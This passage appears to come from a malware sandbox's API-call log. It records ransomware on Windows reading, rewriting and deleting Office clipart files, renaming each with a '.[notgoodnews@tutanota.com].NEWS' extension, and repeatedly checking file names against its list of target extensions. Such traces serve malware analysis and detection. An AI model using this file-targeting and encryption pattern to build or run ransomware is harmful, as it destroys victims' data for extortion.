lpNumberOfBytesWritten=0x2f2fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0262.415] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.415] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.415] SetEndOfFile (hFile=0x1cc) returned 1 [0262.416] CloseHandle (hObject=0x1cc) returned 1 [0262.417] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.417] SetEndOfFile (hFile=0x3a4) returned 1 [0262.425] CloseHandle (hObject=0x3a4) returned 1 [0262.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0262.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.427] lstrlenW (lpString=".doc") returned 4 [0262.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.427] lstrlenW (lpString=".docx") returned 5 [0262.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.427] lstrlenW (lpString=".pdf") returned 4 [0262.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.427] lstrlenW (lpString=".xls") returned 4 [0262.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.427] lstrlenW (lpString=".xlsx") returned 5 [0262.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.427] lstrlenW (lpString=".ppt") returned 4 [0262.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.428] lstrlenW (lpString=".zip") returned 4 [0262.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.428] lstrlenW (lpString=".rar") returned 4 [0262.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".bz2") returned 4 [0262.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.428] lstrlenW (lpString=".7z") returned 3 [0262.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.429] lstrlenW (lpString=".dbf") returned 4 [0262.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.429] lstrlenW (lpString=".1cd") returned 4 [0262.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.429] lstrlenW (lpString=".jpg") returned 4 [0262.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.429] lstrlenW (lpString=".doc") returned 4 [0262.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.430] lstrlenW (lpString=".docx") returned 5 [0262.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.430] lstrlenW (lpString=".pdf") returned 4 [0262.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.430] lstrlenW (lpString=".xls") returned 4 [0262.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.430] lstrlenW (lpString=".xlsx") returned 5 [0262.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.430] lstrlenW (lpString=".ppt") returned 4 [0262.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.430] lstrlenW (lpString=".zip") returned 4 [0262.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.431] lstrlenW (lpString=".rar") returned 4 [0262.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.431] lstrlenW (lpString=".bz2") returned 4 [0262.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.431] lstrlenW (lpString=".7z") returned 3 [0262.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.432] lstrlenW (lpString=".dbf") returned 4 [0262.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.432] lstrlenW (lpString=".1cd") returned 4 [0262.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0262.433] lstrlenW (lpString=".jpg") returned 4 [0262.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.433] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0262.433] lstrlenW (lpString="BL00247_.WMF") returned 12 [0262.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0262.434] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=14444) returned 1 [0262.434] CloseHandle (hObject=0x3a4) returned 1 [0262.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0262.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0262.435] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.436] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0262.437] GetLastError () returned 0x0 [0262.437] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x386c, lpOverlapped=0x0) returned 1 [0262.925] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3870, lpOverlapped=0x0) returned 1 [0262.929] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.929] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.929] SetEndOfFile (hFile=0x1cc) returned 1 [0264.367] CloseHandle (hObject=0x1cc) returned 1 [0264.368] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.368] SetEndOfFile (hFile=0x3a4) returned 1 [0264.377] CloseHandle (hObject=0x3a4) returned 1 [0264.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0265.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0265.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.804] lstrlenW (lpString=".doc") returned 4 [0265.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.804] lstrlenW (lpString=".docx") returned 5 [0265.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.804] lstrlenW (lpString=".pdf") returned 4 [0265.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.804] lstrlenW (lpString=".xls") returned 4 [0265.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.804] lstrlenW (lpString=".xlsx") returned 5 [0265.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.804] lstrlenW (lpString=".ppt") returned 4 [0265.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.804] lstrlenW (lpString=".zip") returned 4 [0265.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.805] lstrlenW (lpString=".rar") returned 4 [0265.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString=".bz2") returned 4 [0265.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString=".7z") returned 3 [0265.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.805] lstrlenW (lpString=".dbf") returned 4 [0265.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.806] lstrlenW (lpString=".1cd") returned 4 [0265.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.806] lstrlenW (lpString=".jpg") returned 4 [0265.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.806] lstrlenW (lpString=".doc") returned 4 [0265.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString=".docx") returned 5 [0265.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.807] lstrlenW (lpString=".pdf") returned 4 [0265.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.807] lstrlenW (lpString=".xls") returned 4 [0265.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.807] lstrlenW (lpString=".xlsx") returned 5 [0265.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.807] lstrlenW (lpString=".ppt") returned 4 [0265.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.808] lstrlenW (lpString=".zip") returned 4 [0265.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.808] lstrlenW (lpString=".rar") returned 4 [0265.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.808] lstrlenW (lpString=".bz2") returned 4 [0265.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.808] lstrlenW (lpString=".7z") returned 3 [0265.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.808] lstrlenW (lpString=".dbf") returned 4 [0265.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.808] lstrlenW (lpString=".1cd") returned 4 [0265.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0265.809] lstrlenW (lpString=".jpg") returned 4 [0265.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.809] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0265.810] lstrlenW (lpString="BL00262_.WMF") returned 12 [0265.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0265.921] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2556) returned 1 [0265.921] CloseHandle (hObject=0x188) returned 1 [0265.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0265.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0265.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0265.923] GetLastError () returned 0x0 [0265.923] ReadFile (in: hFile=0x188, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0265.927] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0265.930] ReadFile (in: hFile=0x188, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.930] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.931] SetEndOfFile (hFile=0x3ac) returned 1 [0265.931] CloseHandle (hObject=0x3ac) returned 1 [0265.931] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.932] SetEndOfFile (hFile=0x188) returned 1 [0265.938] CloseHandle (hObject=0x188) returned 1 [0265.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0265.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.940] lstrlenW (lpString=".doc") returned 4 [0265.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.940] lstrlenW (lpString=".docx") returned 5 [0265.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.940] lstrlenW (lpString=".pdf") returned 4 [0265.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.940] lstrlenW (lpString=".xls") returned 4 [0265.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.941] lstrlenW (lpString=".xlsx") returned 5 [0265.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.941] lstrlenW (lpString=".ppt") returned 4 [0265.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.941] lstrlenW (lpString=".zip") returned 4 [0265.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.941] lstrlenW (lpString=".rar") returned 4 [0265.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.953] lstrlenW (lpString=".bz2") returned 4 [0265.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.953] lstrlenW (lpString=".7z") returned 3 [0265.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.954] lstrlenW (lpString=".dbf") returned 4 [0265.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.954] lstrlenW (lpString=".1cd") returned 4 [0265.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.954] lstrlenW (lpString=".jpg") returned 4 [0265.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.955] lstrlenW (lpString=".doc") returned 4 [0265.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.955] lstrlenW (lpString=".docx") returned 5 [0265.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.955] lstrlenW (lpString=".pdf") returned 4 [0265.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.955] lstrlenW (lpString=".xls") returned 4 [0265.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.955] lstrlenW (lpString=".xlsx") returned 5 [0265.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.955] lstrlenW (lpString=".ppt") returned 4 [0265.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.956] lstrlenW (lpString=".zip") returned 4 [0265.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.956] lstrlenW (lpString=".rar") returned 4 [0265.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.956] lstrlenW (lpString=".bz2") returned 4 [0265.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.956] lstrlenW (lpString=".7z") returned 3 [0265.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.956] lstrlenW (lpString=".dbf") returned 4 [0265.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0265.957] lstrlenW (lpString=".1cd") returned 4 [0265.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0266.065] lstrlenW (lpString=".jpg") returned 4 [0266.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.065] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.065] lstrlenW (lpString="BL00267_.WMF") returned 12 [0266.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0266.542] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2644) returned 1 [0266.542] CloseHandle (hObject=0x1cc) returned 1 [0266.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0266.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0266.543] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.543] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0266.544] GetLastError () returned 0x0 [0266.544] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xa54, lpOverlapped=0x0) returned 1 [0266.549] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0266.554] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.554] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, 